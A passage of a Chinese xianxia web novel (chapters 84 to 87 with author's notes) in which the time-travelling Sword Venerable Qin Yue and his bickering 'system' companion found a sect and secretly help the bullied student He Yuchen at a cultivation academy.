很多年前,这个人也是这样跪在自己面前,请求他收自己为徒。宗主当时施压频繁,屡次告知不可让无相峰断了传承,他本就推脱不掉,便鬼使神差地便应了。 不得不说,贺煜臣是一位极其省心的徒弟,集齐了所有值得夸赞的优点。他一直以为贺煜臣是把质朴的刀刃,会为自己所用。可没想到,这把刀有了自己的想法,脱离了他的掌控。 一旁的祁鸿羽急得像热锅上的蚂蚁,想把贺煜臣拽起来,到底是害怕惹人厌烦,没有做出多余的举措,只低声地说道:“师兄,别惹师尊不快了。” 只不过,他没发觉其实自己才是常常让慕温瑜发火的人。 慕温瑜幽幽地望了贺煜臣一眼,“他虽无事,但你知道在太虚神霄宗触发禁忌是什么下场,你也不必记挂他了。我现在只问你一件事,他是何人?” “……”贺煜臣说了实话:“我不知道。” 在知晓秦越没事后,他无意识地松了口气,眉梢夹带的紧张都悄无声息地化解了,这一切都被慕温瑜尽数看在眼里。 慕温瑜眯了眯眼,下一秒陡然出手。铺天盖地的威压朝着贺煜臣面门直去,在祁鸿羽的惊叫声中,这密不透风的攻击被挡了回去。 回冲的气劲掀起林浪滚滚,众鸟惊飞。 “好啊。”慕温瑜这次是真的生气了,被贺煜臣一而再再而三的敷衍,他额角青筋绷起,看起来是在竭力压制自己不要动手,“一个你不知道是谁的人,为什么会把一缕神识放在你身上。” 谁知这次贺煜臣显得更迷茫,他先是看了一眼祁鸿羽,才不确定地说:“在……我身上?” 怎么会在他身上呢? 他的语气已经不能说茫然了,更像是在跟慕温瑜确定什么。 慕温瑜不愿再被贺煜臣糊弄,“再者,今日在你屋内,我早已察觉到此人留下的灵气。若是一个你不知道的人,又为何会留下灵气安抚你呢?” 听到慕温瑜的话,贺煜臣连欣喜都来不及感觉到,就剩下不可言喻的惶恐。 他想到秦越行色匆匆地离开,而自己却没有因为道侣不在身边而躁动不安,原来是秦越留下了带着他自己气息的灵气。 这是不是最后留给自己的念想? 他是不是本来就不打算回来了? 在这僵持不下的时候,慕温瑜放弃了跟贺煜臣在这纠缠,“事关重大,我保不下你。你可以选择现在说清楚情况,亦或是去戒律堂交代。” 祁鸿羽吓了一跳,他张了张嘴组织不出什么措辞,“可是,可是师兄肯定跟这件事没关系……” 慕温瑜瞥向祁鸿羽,不同于之前听闻他跟外宗弟子斗殴的恨其不争,这次则充满着威压和震怒,“太虚神霄宗被尊为天下第一宗门,我想你们都知道是因为什么。” 先有剑尊的威名,后有剑尊留下的镇宗剑意。 “至于你师兄,我明白以他的修为破不了禁制,我愿意相信他是被外人蒙蔽。如果他还是这样什么都不交代,戒律堂相不相信,我就不能保证了。” 祁鸿羽见没法在慕温瑜那求情,只好继续游说贺煜臣,“师兄,你快说吧。”他焦急地口不择言,“那人盗取了剑意却不来找你,很明显是抛弃你了!” 不……这说不通。 贺煜臣置若罔闻:“我不知道他是谁。” 他没有骗人。秦越就像误入他世界的一个过客,只来得及镌刻下一道痕迹,就无声无息地消失了。 祁鸿羽咬着牙,用尽全力晃了晃贺煜臣的肩膀,他看着贺煜臣涣散的眼神,怒吼道:“求求你别执迷不悟了,何苦为了一个负心汉把自己搭进去!” 秦负心汉越打了两个喷嚏。 系统得意地说道:[这次是有人骂您,我没说错吧。] 秦越:“你到底在高兴什么?睁大你的狗眼看看这是哪?” 系统:[太虚神霄宗呀,您不是说要回档吗?]它全凭感觉,删掉了一些数据流。 面前的石壁如果仔细看的话,就能发现跟不久前被秦越劈开的石壁差不多。 “还是没有剑意。”秦越静静地打量着无相峰,发现了更大的问题。 这里不仅没有剑意,也没有……太虚神霄宗。 他神识探出,在这片高峰峭壁中穿梭。 方圆几里了无人烟,别说太虚神霄宗了,连个人影都没有。 秦越闭上眼睛,深深吐出一口气又睁开,他拎起系统一个脑瓜崩,“你怎么不干脆回到盘古开天辟地的时候呢?” 系统嗷了一声,捂住脑门,[您没说您要去创世之初啊,您要是想去我现在可以……嗷!您又弹我脑门干什么!] 秦越:“你回到了还没有太虚神霄宗的时候!” 系统也是有脾气的,[赶鸭子上架就是这样的!我之前又没有练习过,有误差很正常的嘛!] 它刚硬气了三秒钟,顶着秦越“你胆肥了”的眼神,声音低下去,[好了好了,下次一定。]系统一脸憋屈地把锅背上。 秦越动作一凝,显然意识到了什么。 按照原文描写,剑尊是当年行至此处,突然有所感悟,便在此地驻足。而他则是因为知道未来会发生的时候,不得不把宗门建立在此。 ——剧情线以一种莫名其妙的方式闭环了。 建立宗门不是一张嘴就可以做到的,好在剑尊名号够响亮,骗几个愿意做他门徒的人,还是轻轻松松的。 问题在于秦越并不是个好老师。 说人话就是他耐心欠缺,哪怕眼前是当世数一数二的天才,在他眼里也是只会高喊师尊我不明白啊的可怕巨婴。 秦越教了一段时间后,确定了自己再教下去要红温了,便决定让徒弟自己领悟。 太虚神霄宗能活那么久,证明没有自己介入,他们也能学会。 在被秦越放养几个月后,他的大弟子小心翼翼地提出一个建议:“师尊,不如下次你教授心法时,我把它记录下来吧。” 俊秀挺拔的剑士脸上是温吞的平静,但藏在若无其事外表下,是内心在嚎啕:师尊啊,真的听不懂你说的每一个字。 多日未见的师尊睨了他一眼,剑士眉头一跳,“如果师尊近日没空……” “你叫什么名字?” 剑士被问了个措手不及,这风马牛不相及的问题是怎么跟前面联系起来的? 他不知道,也没敢问,恭恭敬敬地回答秦越的问题,“回师尊的话,我叫李无相。” 秦越点了点头,随意地撂下一句,“那心法便叫《无相空明》罢。” 李无相:“……啊?” 他瞠目结舌:“这不好吧。”随即他觉得自己好像是在反驳剑尊,于是赶紧找补,“我意思是这心法是师尊写的,这样怕引得他人误会。” 秦越挥了挥手,让他赶紧滚,不要打扰自己清修。 系统:[哇哦,这就是太虚神霄宗第一任宗主吗?看起来好稚嫩啊。] 秦越抬起眼睛,“记得在正确的时间把我唤醒。” 系统:[您要闭关?] 秦越不得不闭关。 太久的年岁,对人性的磨灭是不可避免的。 日子一久,俗称的那种活人味就淡了。 系统学渣似的虚心讨教:[啥是正确的时间?] 秦越:“……” 系统立正:[我懂了我懂了。] 别敲了,它又不是电器,敲了就会修好。 系统开始认真地做阅读理解。 秦越是想知道为什么剑意会出现贺煜臣身上。所以它只需要关注反派这个数据就好了。 不知过了几载春秋。 原先出尘夺目的剑士,也难免染了些老态。修士不是不会变老,而是根据修为的深浅,来延缓衰老。 李无相不由想起了师尊,自从他见过秦越后,对方的容貌就没有变过。 在秦越闭关这些年岁里,他曾见过对方几次。因为闭关时间太长了,他有时候会往最坏的方向想,所以难免打扰过几次秦越。 师尊是不是坐化了?为什么一点动静都没有。 直到最后一次,他老得快走不动路了,李无相知道这极有可能是他最后一次来剑尊闭关的地方。 站在洞府外,李无相衰朽的身躯如同一株被蛀空了芯的老树,随时会轰然倒塌。 而这一次,李无相意料之中地发现秦越周边气息不一样了。天道轮回,秦越登临绝顶,即将叩开天门。 ……秦越要飞升了。 李无相拜了几拜,并以最后的修为亲自为师尊写下了渡劫的符咒。他们虽然并没有普通师徒间的拳拳之谊,但不可否认的是,他确实触摸到了以前想都没敢想的境界。 “我不会辱没太虚神霄宗,它日后必为仙洲界第一宗门。” 没有回应,只有满墙的爬山虎簌簌而动。 俯仰之间,春秋代序。洞府阶前青苔,岁岁侵石,默然丈量着寒来暑往。 秦越不知自己在此多久了,久到对时间的流逝已经开始变得迟钝。 “滴”得一声,系统上线。 它没有时间的概念,只认得某串特殊的数据出现了。 [醒醒醒醒,魂兮归来——]系统在深情叫魂。 秦越有种宿醉的头疼感,他视线落在系统身上,似乎看了很久,思绪才回笼。 周围一切事物慢慢在秦越眼中有了形状,他低声说道:“我明白了。” 原来剑尊的闭关不是为了保证飞升,也不是性情过分谨慎。 ……而是他在等贺煜臣—— 作者有话说:莫比乌斯环了属于是[摊手] 第85章 实际上,从系统上线到唤醒秦越,期间又过了很多时日。 如果按年岁计算的话,贺煜臣已经快到了灵窍初开的年纪了。 在茫茫人海中,想找一个人是件困难的事。 系统的功能限制它只能观察到主角和白月光的状态和位置,除此之外它也是两眼一抹黑。 秦越思考了一会,惊觉似乎从没听贺煜臣谈起他过去的事情。 不过转念一想,他们之间还没有到这种无话不谈的地步,两人除了明面上类似干巴巴的“师徒”联系外,就只剩下一层一捅就破、脆弱如纸的道侣关系。 这无疑给秦越找人增加了很多的困难。 原文里只浅浅提过贺煜臣生于凡人界,其父母均是没有灵窍的普通人,后在年少时,经引荐人去往仙洲界学宫修行。 如果按现代人的角度来看,贺煜臣成绩优异,学习之路顺风顺水,最后成功被仙洲界著名高校太虚神霄宗录取。 系统摩拳擦掌:[咱们是在学宫里守株待兔么?] 它已经快忘了自己是来干什么任务的。有个思维跳脱的宿主,它也朝着程序执行的方向越来越远了。 秦越其实挺厌烦大海捞针,这种可能没有结局的事。不过说实话,他其实挺好奇的,贺煜臣小时候是不是也是这幅油盐不进的模样。 如果有机会的话,他不介意去瞧瞧- 仙洲界学宫坐落在灵气氤氲的灵脉之上。 没有想象中巍峨入云、金光四射的浮空仙阁,它低调得如同融入山水的水墨画。 秦越托着脸,了无生趣地看着学堂里的老先生叽里呱啦、慷慨激昂,过了一刻钟,他打了个哈欠,愤愤不平:“这人讲学跟我不是差不多么?果然是我收的那几个人脑子笨。” 系统:[……]它压根不敢给太虚神霄宗初代元老们发声。 系统顾左右而言他:[您看到贺煜臣了?] 秦越遥遥一指,“看不到么?你是不是眼神不行。” 从秦越出关以来,它发现宿主说话不客气的等级又大规模提升了。 系统归结于是秦越在鸟不拉屎的洞府里待太久给憋坏了。 系统吸气吐气,决定大人不记小人过,不跟秦越计较这些,[那剑意是不是在他身上呀?] 秦越漫不经心地敲了下系统的脑袋:“你当剑意是会发光还是怎么的?若是那么显眼,慕温瑜那些人会看不出来?”连他自己都是起了杀心,被剑意不痛不痒地挡了回来,才发觉了这个秘密。 系统:我忍。 “剑意融入骨血后,会形成天下独一的剑骨。”秦越状似无所谓地说,“你是想让我大庭广众之下去摸贺煜臣的脊椎骨么?” 他虽只是神魂,但只要他想让贺煜臣感受自己的存在,那还是可以做到的。 只不过贺煜臣看不见他,秦越没兴趣这时候玩什么人情鬼未了。 系统:呀呀呀我不是我没有,你想摸不要把脏水泼我头上啊! 秦越没理会气鼓鼓的系统,自行离开了。 系统:[这又是去哪?人不是找到了么?] 秦越似乎是笑了一下,“你是真想让我在学堂上当众摸骨么?” 系统脸腾得一下红了,[我就是问问,您随意,您开心就好。] 秦越收回了笑:“好了,别废话了,去他的住处。看看能不能找出什么线索。” 绕过青灰色的学院石墙,飞檐斗拱在薄雾中被抛至身后,他们这次没费什么力气就找到了目的地。 系统看了看贺煜臣一尘不染的住所,所有东西都收拾的井井有条。如果不说的话,这里简直跟太虚神霄宗的住处没什么两样。 贺煜臣的生活用一个词形容,那就是乏善可陈。 秦越想也没想,就先走到了书架旁。不过令他惊讶的是,除了学宫分发的一些书籍外,还有不少修真界的逸闻。从书籍新旧的程度上,一本名为《天下宗门三两事》的江湖八卦,看起来经常被翻阅。 他鬼使神差地把这本书抽了出来,一道清晰的折痕正好在太虚神霄宗那一页,只不过他还没来及翻,门外就传来了脚步声。 为了避免被人看到一本书悬浮在半空中的场景,可秦越又来不及塞回原本的位置,只好先放在有空余的地方。 来的人不是贺煜臣,但也是白袍玉带,这是学宫的统一制服。 他可没有秦越那么“拘谨”,一进门就不客气地乱翻起来。 秦越的眸色黑沉,落在来人身上。 “齐兄,你在找什么?”贺煜臣盯着不速之客看了几眼,直到扔过来的烛台落在自己脚边,才站在门边慢吞吞地说道,“需要我帮忙吗?” 被称为齐兄的年轻人听到动静吓了一跳,他没好气地说:“你是死人吗,站那不会吱一声?” 贺煜臣捡起烛台,好生地放回它该在的位置,然后像是听不出对方话中刻薄,他微微笑道:“你想找什么?跟我说一声我找给你,免得浪费齐兄的时间。” “呦,你还给我装起来了?”对方见到贺煜臣和颜悦色,反而更是怒气高涨,挥手再一次打落了烛台,“少在这给我装无辜,你比试凭什么赢了我,是不是吃了什么禁药?” 被指着鼻梁的贺煜臣眨了眨眼,面无表情:“这我可不敢,比试作弊可是要被赶出学宫的。” 贺煜臣说话越是单纯直白,对方越是怒不可遏。 “好好好!贺煜臣你有种。”齐姓学生冷笑道:“你觉得赢了我,出了名,就能夺得大宗长老的青睐了?我告诉你,痴心妄想!”他声音愈来愈大,“你别以为我不知道你想去太虚神霄宗。” 见贺煜臣没有解释一个字,他恶毒地笑了,“别做梦了,我的大少爷。你以为自己是谁啊?你爹娘只不过是一介凡夫俗子,你拿什么跟我们争。” “你凭、什、么、啊?”他每说一个字就用手掌重重地推搡一下贺煜臣。 没有看到想要的恼羞成怒,对方气没地方撒,只好恨恨地留下一句“慕长老从不收徒,你死了这条心吧”。 系统被这种小人嘴脸惊到了。 它来到这个世界,不论是清澈愚蠢的男主,或者是看不出心思的反派,他们都不会这样跳脸地羞辱别人。 [哎嘿,我这暴脾气就上来了。]系统撩起袖子就给了这小子脑袋上一重击。 可惜那人只能感受到一阵凉意,左右张望后便以为是自己的错觉,施施然地走了。 系统又恨其不争地在贺煜臣头顶绕了一圈。 秦越把它拉过来,不让它骚扰贺煜臣:“他要是像你这样沉不住气,还当什么反派。” “还有,少碰渣滓当心烂手。” 系统没听明白,秦越扬了扬眉,示意它去看一眼贺煜臣在做什么。 它缓缓低下头一看,发现贺煜臣并没有直接触碰那盏被当成出气筒打翻两次的烛台,而是先施了一个法术,清除了烛台表层的什么东西。 秦越慢悠悠地欣赏完贺煜臣做完所有的一切,开口道:“五瘟咒。刚接触时并不会有任何异样,五天之后,肌肤便会产生紫黑色经络,若不能及时除咒,中者皮肉便会如蜡融化。” 系统:它到底为什么会觉得反派是个任人欺负的小白花啊! 是从哪里的错觉?是在太虚神霄宗里相处出来的错觉吗?? 一定是这厮在秦越面前装乖觉装惯了,它才会被骗了!系统缩头缩脑地躲在秦越身后。 贺煜臣没有一丝不耐烦地挥手施法,将地上散落的东西送向它们该在的位置上。 他环顾了一圈,确定没有遗留任何东西后,像是有预感一般,他视线落在了书架上。 秦越:…… 贺煜臣抿了抿唇,拿起搁错位置的那本书,指尖掀开压不平折痕的那一页。 随即他猛地转身,灵力从他身上向四面八方喷涌而出,似乎不给躲藏者任何机会,雷霆般地要给出致命一击。 “还有谁在这!”贺煜臣低声喝道:“鬼鬼祟祟的,为何不敢现身一见!” 一切发生在眨眼之间。 秦越虽是元神状态,但神魂也能感受到赤裸的杀意。 至于么!秦越额角青筋跳了一下,人家摔你东西顶多是胳膊保不住,我就翻了个书,怎么就要被置于死地了。 秦越化解完贺煜臣的杀招后,干脆欺身上前。 贺煜臣整个人被挤在书架和不知道什么东西中间,心里一懵。 他思绪还没转过来,就觉得脊背微微一沉,有一股凉意毫不遮掩地顺着他的后背游走。 贺煜臣颤抖地定了定神,明白了一件事。他后背抵住的不是空气,好像是……一个人。 贺煜臣没动,他第一反应是见鬼了。然后又想起此乃仙洲界学宫,不说符箓齐全,也能说是妖魔鬼怪的噩梦之地。 怎么会有不长眼的恶鬼来这里作恶? 贺煜臣全身一阵绷紧,在反应过来可能又是哪个世家弟子在耍他后,他直接手肘用力直捣对方的胸膛。 扑了一空,但也挣脱了那股禁锢自己的力量。 贺煜臣凝视着空无一物的前方,不敢松懈,因为他不想让这些人得逞,看见他丢脸崩溃的样子。 “阁下是见不得人吗?”贺煜臣急促道。 他没见过这种咒术。学宫不是没教过隐去身形的法术,这种法术虽然可以一叶障目,但不像这屋内的人这样,触摸不到本体。 不知是有意无意,贺煜臣听到近在咫尺的低沉笑声。 “别那么紧张。” 是个从未听过的男声,“我只是来找你叙旧的。”—— 作者有话说:秦摸骨高手越:[点赞] 第86章 这人跟之前的那些废物点心不太一样。贺煜臣稳住了心神,他知道自己乱了阵脚,反而是正中对方下怀。 既然对方想叙叙旧,那他就陪这个人演下去。 贺煜臣微微颔首,又恢复了之前的模样,仿佛之前动手皆是杀招的不是他,“既是旧友,又为何遮遮掩掩。贺某近日来身体抱恙,记性么……有些差,可能需要阁下提醒一下,才好记起些值得叙旧的往事。” 男人像是被自己问住了,半天才状似苦恼地吐出一句:“……你现在还不认识我。” 贺煜臣没想到这人居然还很认真地回答了他,就是说的话听起来前言不搭后语,跟得了癔症一般。 他木着脸,“你是在耍我吗?” 贺煜臣一连报出几个名字,似乎在试探对方的反应。 秦越歪了歪头,猜出这几个人估计是经常在贺煜臣没事找事的人。 他俯下身,盯着贺煜臣像在思忖着什么脸,秦越发觉对方总是想的很多,却又不表现出来。 不像他,直言直语。秦越想到这,就直白道:“我能再摸一下么?” 他刚刚还没试探出来什么,贺煜臣就跟被踩了尾巴的猫,应激般得挣脱开来,还差点给他胸骨肘碎了。 饶是贺煜臣见惯了混账,也是愣住了,秦越这种说话轻佻,但语气却很诚恳的人,他倒是头次遇到。 秉持着沉默就是同意的意思,秦越一言不发地按上贺煜臣的衣袍。 他的动作没有任何唐突的意味,更像是在寻找着什么。 从秦越语出惊人,到秦越开始动手,贺煜臣都是懵的。直到秦越顺着背沟一路摸到腰的位置时,他才如梦初醒地哆嗦着躲开了。 “……痒。” 秦越猛地僵住了。 就在贺煜臣说出这句话的时候,他似乎在那一瞬间透过贺煜臣看见了另一个人。 ——另一个贺煜臣。 那个他留着短发,俨然是现代人的模样。 接着是无穷无尽的幻相在他眼前升起。更令秦越恍惚的是,幻相中里他们的关系明显是超过了朋友的范围。 贺煜臣惊魂未定地差点撞上一旁的书架。 秦越同意惊魂未定地开口:“小心,你的腿……” 自己为什么会觉得贺煜臣的腿不好? 秦越下颌线无意识地绷紧,咬着牙心想他究竟是怎么了。 贺煜臣完全没有察觉秦越的异样,他跟瞎子一样茫然地看着眼前的空气,他不知道秦越在哪,也不知道秦越是不是在欣赏自己的窘态,这种未知感让他开始心慌。 周遭一片寂静,秦越拎着系统看了半天,一脸阴郁地把它扔了出去。 系统:[?] 它在空中转出几个360度回旋后,被紧跟着出来的秦越提留住了。 半晌秦越挤出一句,“我要离开这。” 系统没敢反驳,毕竟秦越看起来想把它拆了。 [好了,我提交完申请了。]系统在秦越不善的直视中,唯唯诺诺,[怎么了?] 秦越拧起眉头:“不对,总觉得这里……”他不知怎么形容,最后只能说,“我要放弃这个任务。” ……不对劲的是他自己。 莫名其妙的既视感,绕成一团乱麻的剧情,秦越开始怀疑自己是不是待在小世界里太久了,认知出现了问题。 相较于秦越的纠结,“助攻局”里堪称一片人仰马翻。 “1027号的世界申请强制脱离了!” 一个身上挂着工牌,穿着职业套装的女性闻言看向惊叫出声的地方,走过去审查着那位员工的电脑。 看见显示屏上熟悉的代码,女人从平静到小有怒气,再到暴怒,“是谁把人家作者的草稿拿来当这个小世界背景的!没人审查的是吗!” “前文对不上后文,太混乱了,一眼望去全是bug!秦越本来就是个bug制造机,现在主机都要爆炸了,这都是钱!在烧钱啊!你们以为我申请项目资金很容易吗?” 坐在工位上的员工大气不敢出,对于上司丢锅给自己的行为,他低声辩驳了一句:“……造成这些后果也是因为贺总他自己,要不是……” 在女上司的死亡视线中,他收了声,接着又说道:“那怎么办?之前全靠软磨硬泡,才让秦越把剧情走完,但这次是人家主动要求脱离,根据合同,我们没有权利拒绝的。” “先拖一下,实在不行就算了。”女人在酷似聊天窗口的地方敲了几行代码,“毕竟只是一个测试,没必要得罪他。” 员工在上司看不见的地方无声地翻了个白眼,心想这时候不得罪是不是有点晚了,贺总早就得罪完了- 那天遇到个怪人仿佛只是做了个梦。 贺煜臣依旧每天按时去上早课,按部就班地等到下一波世家弟子围追堵截。 “太虚神霄宗要收人了,怎么不见你报名呀?”阴魂不散的声音从身后跟了过来。 “齐师兄这说的什么玩笑话,太虚神霄宗是这种人能去的?他进了山门,我都觉得脏了太虚神霄宗的门楣。” 齐彰阴阳怪气道:“哎呀,都是同门,我看贺师弟也是很有机会的嘛……” 贺煜臣冷眼旁观了一会这群人的表演,然后面无表情地绕开了他们。 众所周知,让别人不快活的前提,是对方得对挑衅行为有所反应,最好是那种无可奈何的辩驳,亦或是无能的暴怒。 但显然贺煜臣的反应不属于任何一类。 “喂,你聋了吗?” “听不见齐师兄再跟你说话吗,目无尊长的家伙!” 贺煜臣停下脚步,他怀抱着典籍,无辜地转过身,抬起眼朝对方笑了一下,在暖金色的日辉下显得柔和极了。 “刚刚有人在说话吗?我没听见人话啊。” 大部分人对长得好看的人总是更加包容的,齐师兄刚开始被贺煜臣的笑晃了一下,等他脑子终于翻译过来贺煜臣刚才说了什么的时候,短短几个字如火星撩起勃然怒火。 贺煜臣瞟了眼对方抽出的长剑,轻车熟路地说道:“学宫禁止私下械斗。” 齐彰奋力从周围劝阻的人中挣扎出来,往外挥舞的手上还带着恶咒拔除后没修养好的疤痕。 他提着剑,怒从心头起,气急败坏道:“我今天就是要教训这个小子,齐家在仙洲界已驻足百年,我叔父还是太虚神霄宗炎煌峰的长老,我等会便要看看学宫会不会偏向他!” 贺煜臣重重吐出一口气,知道这人最近在自己这里输了,丢了人,也丢了父母对他的期冀。 齐家的确家大业大,而眼前人并非来自主家,本就想争一口气,日后能在齐家争出个脸面,但事与愿违,学宫内的比试,他偏偏输给了自己。 贺煜臣能听见周围的窃窃私语,自己虽不在意旁人的闲言碎语,但被迫站在这当个显眼包,他是不太情愿的。 他目光只在齐彰留下疤痕的手上匆匆掠过,贺煜臣不信这个草包真敢在这一剑捅上来。 但是他低估了草包的智商。 贺煜臣心情没有一点起伏,对方反倒是先无能狂怒起来了。 像银蛇乱舞的长剑在空中划出一道光痕,贺煜臣瞳孔皱缩,一瞬间闪避的本能占据上风,他下意识的向一侧偏过,随即又猛地强行顿住身形。 这一息的功夫,贺煜臣想了很多。 对方是他的手下败将,想避开并非难事,但眼下他更想知道……这个世界是不是如此的不公,会不会明目张胆的偏向一方。 贺煜臣内心已经做好受伤的准备了,他特意将非致命的部位暴露在对方的攻势下,却凭空听见一个带着凉意的声音问他,“为什么不还手?” 他眨了眨眼,以为自己出现了幻听。 如有神助一般,长剑堪堪停在贺煜臣的身前,便一寸寸地断裂。 齐彰的脸涨得通红,他突然冷静下来,记起自己不久前才输给贺煜臣。 剑身全部碎成渣滓,徒留个剑柄还可笑地握在他手中。可话已经撂出去了,他不能让贺煜臣白白地打他的脸。既然贺煜臣打了他的脸,他就…… 高高扬起的手终归还是没有落到贺煜臣的脸上,他眼睁睁地盯着自己的胳膊被定在半空中,不妙的预感直窜上来。 “嗷嗷嗷!”齐彰顿时涕泗横流,他的手臂被拧成了一个麻花,没吃过什么苦的娇公子疼得从地上跳起来,“贺煜臣!学宫里不许斗殴!” 贺煜臣脸色古怪地看了虚空一眼,顿了顿说道:“不是我。”他没任何动作,怎么也轮不到说是他打的人。 他看了一会对方,眉眼一弯,用口型轻声说道:“这时候师兄想起来学宫的规矩了?” 眼见周围的人聚得越来越多了,贺煜臣十分坦然地从人群中走出来,那群跟班都在着急地查看那人到底怎么回事,也没闲心再堵他了。 声音还在不依不饶:“为什么不还手?” 贺煜臣抱着典籍,反问道:“为什么帮我?” 偌大的仙洲界学宫,他一直像个格格不入的外人。没有什么朋友,自然也不会有人替他出头,哪怕是一句宽慰的话也没有。 秦越不是一个追求事出有因的人,他大部分时间都比较随心所欲,帮人可能也只是看看心情。 譬如现下,他本来都准备好脱离世界,看看自己是不是有了工伤,得去看看心理医生了。 结果助攻局回了一句这段时间申请脱离的人太多,需要排队,给了一个您前方还有404个人的提示后,就没了声音。 秦越觉得自己被耍了,但没有证据—— 作者有话说:每天都在解v和写完中挣扎[化了]忙得不会再给这个世界好脸色了[裂开] 第87章 不负责任的公司根本不给秦越挣扎的机会,挂了通讯就翻脸不认人把他扔在这个世界。 秦越发誓他一出去就要举报这个无良资本家。 总所周知,人闲起来什么事都做的出来。 在秦越把学宫染了青苔的地砖数了一遍后,他痛苦叹气:“我不会在现实世界里是个打黑工的吧?” 系统在自己的小空间里看着电影,抽空回了一嘴:[我们是正经公司。] “你听到什么了吗?” 学宫一向肃穆至极,仿佛说话大一点声就要被罚去后山放羊。所有人大都行色匆匆,一群半大的少年脸色严肃地跟去上坟一样。 今日难得听到远处飘来一些不和谐的争吵。 系统看着电影屏幕,心不在焉地敷衍着:[嗯嗯嗯。] 屏幕上一对情侣正在难舍难分地拉扯,旁边站着的是两人共同的朋友,这个朋友着急的嘴唇开开合合,系统觉得对方嘴巴都要冒火来段B-Box了,可是临到头这三个人愣是一句话也没说。 它实际上不太能理解人类的脑回路,因为对它而言,世界只是一串代码,只有错误和可以运行之分。 如果是错误的,直接删除不就可以了,为什么还要强行要求这段代码跑起来呢? 系统还在丈二和尚摸不着头脑,就看见宿主跟风筝一样眨眼间飘出去十几丈远,[哎哎哎,您去哪?] 它在空中追逐着秦越的身影,等到前方的身影停了下来,系统来回扫视了一下眼前的“战场”,在短暂的心死后,它从善如流地接受了宿主的随心所欲。 系统夹在两人中间,双目无神,幻视自己成了刚刚电影里情侣的共友,与之不同的是,它现在不想B-Box,它想boxing。 穿过学宫幽静的青竹林,秦越回过神,俨然发现自己跟着贺煜臣回到了他的住处。他对上贺煜臣的眼神,对方看不见他,但表情很认真。 至于贺煜臣问自己为什么帮他…… 他的确不是什么乐于助人的好人,只不过他已经把贺煜臣划分到“自己人”的范畴。 打贺煜臣的脸跟打他的脸有什么区别? “我知道不会有人平白无故帮忙,你肯定有所求。”贺煜臣一向很擅长退让,他很快意识到秦越并不想谈论这件事,便轻描淡写地揭过。 秦越奇怪地看了他一眼:“你就那么心宽地让人利用你?” 贺煜臣动了动嘴唇,漫不经心道:“若是我知情且同意,那就不叫利用,叫各取所需。” 秦越被他的话堵了回来,他想了想说道:“我没有。” “但我有所求。”贺煜臣缓缓开口。 他突然停住了脚步,环顾着陌生又熟悉的住处。 贺煜臣十三岁时,被引荐人选中前来仙洲界就独居在此。在求学的这几年间,他有时也会想是不是因为自己性格太差了,才与同窗格格不入。 后来他发现并非是自己的原因,而是自己的身份跟这表面低调质朴,实则侈丽尊荣的学宫不相称罢了。 那些人看不起他,自然也不会浪费口舌,去结交一个不能带来任何利益的人。 他没有朋友替他解围,如今唯一帮他的却是一个连面都没有见过的、不知是正是邪的“人”。 着实有些……太可笑了。 秦越突然觉得自己活像是个蛊惑人做交易的邪神。 他心想贺煜臣是把自己当成什么许愿神龛了吗?现代人许愿好歹还会上柱香捐点钱。 秦越不语,只是一昧地皱眉。 贺煜臣继续:“你刚刚动手的对象,虽然天资一般,但好歹也是名门之后,我当时胜过他也是费了不少力气。若是我没有看错,你刚刚压制住太过轻而易举,而且你一个孤魂野鬼能在学宫那么久还没被拔除,我想你应该不是普通的邪祟……” 秦越沉默地阖了阖眼,然后沉默地伸出手。 贺煜臣的话被打断了,他感到有什么温热的东西抵在自己唇上。 “病急乱投医投我这来了?你也不怕我不是什么好人。”被称为邪祟的秦越被气笑了,俯视着看见对方僵住的身体。他看出贺煜臣想要离开,但意志强撑着没有甩脸就走。 他恶作剧心起,轻轻把对方捏成鸭子嘴。 对方虽然只是蜻蜓点水地捏了一下,贺煜臣还是被这出乎意料的举措硬控了几秒钟,等到他反应过来,邪神“阴森森”地开口了:“你想要什么?” “太虚神霄宗。”唇上的热度似乎还没有散去,但贺煜臣已经来不及纠结这些了。 秦越没有立刻答应:“以你的资质,为何只执着于太虚神霄宗?”他朝书柜那边抬了抬手,那本经常被翻的闲谈杂刊飘了过来。 书页哗啦啦翻了几页,停在留有折痕的页面上。 小话本上悉数列举了太虚神霄宗历任掌门的事迹,甚至贴心地附有人物小相,唯有首任掌门李无相的师尊,被称作帝命剑尊的人,事迹寥寥,别说画像了,连个名字都没有留下来。 “你怎可把其他宗门与太虚神霄宗相提并论?”贺煜臣没什么情绪地笑了下,看着像在开玩笑似的嗔怪,但秦越很清楚地看见对方冷淡的表情。 “剑尊生前朗月清辉,门下后人想必也继承了他的遗志,不分高低贵贱一视同仁,其他的宗门不过都是……” ……沽名钓誉之辈。 贺煜臣意有所指,没有说完。半晌才把在半空中悬浮着的话本劈手拿回,他对着客气晃了晃,“总之,若是去不了太虚神霄宗,我就会离开仙洲界。” 秦越听了半天,脑子自动省略了贺煜臣的一些溢美之词。秦越盯着神色自然的贺煜臣,难以想象之前言辞略微尖锐的他,嘴里能说出这种话。 秦剑尊本尊越:他怎么不知道自己是个如此至仁至善之辈? 他偏头问道:“你是不是对剑尊有什么误解?” 贺煜臣笑意未收,声音却低下来了,“哦?你是有别的见解吗。” 秦越的那些门徒确实并不是什么名门之后,那是因为太虚神霄宗并不在适宜修行的灵脉上。 古往今来,连妖族都知道要在灵脉上吸取灵力,故而世家宗族几乎占据了仙洲界所有的灵脉。 秦越当初找弟子又懒得三山五岳的去寻,所以他的弟子全是没什么家底的普通人,实在找不到修行之所,降而求其次来到了太虚神霄宗所在的灵脉,顺手被秦越捡了而已。 他不想打击贺煜臣,“若是太虚神霄宗不是你想象的那样呢……” 秦越猛然意识到—— 如果不是贺煜臣期冀那样的结果,他其实已经看到了。 贺煜臣会对这个世界绝望,转而谋求唯一能抓在手中的力量,最后一步一步沉溺在欲望的迷沼中,成为这个故事里的反派。 这不是秦越想看到的。 贺煜臣垂下眼睛,转而回答了另一个问题,“你之前问我为什么不还手,第一是在这场争执中,我必须是一个绝对干净的受害者,否则被罚得更重的一定是我。其次,我只是想知道,规矩到底是不是一视同仁的。” “世皆有法,诸人遵循之。”贺煜臣沙哑道:“但若是不公,我又为何要苦苦遵守?” 他脸上没有多余的表情,说出这些话也没有带着丝毫恨意,像是能看见面前的秦越,眼睛一眨不眨。但若是仔细瞧看,就能发现他双眼失焦,迷茫无神。 系统:[我靠,反派这是平静地疯了?!] 它能感觉到电流在它身体里乱窜,面对反派油然而生的恐惧感,噼里啪啦地在它的电路里炸开。 只见贺煜臣的脊背终于软了下来,他脸上带着一点疲惫,“我不知道你为什么帮我,但我只有这个请求。” 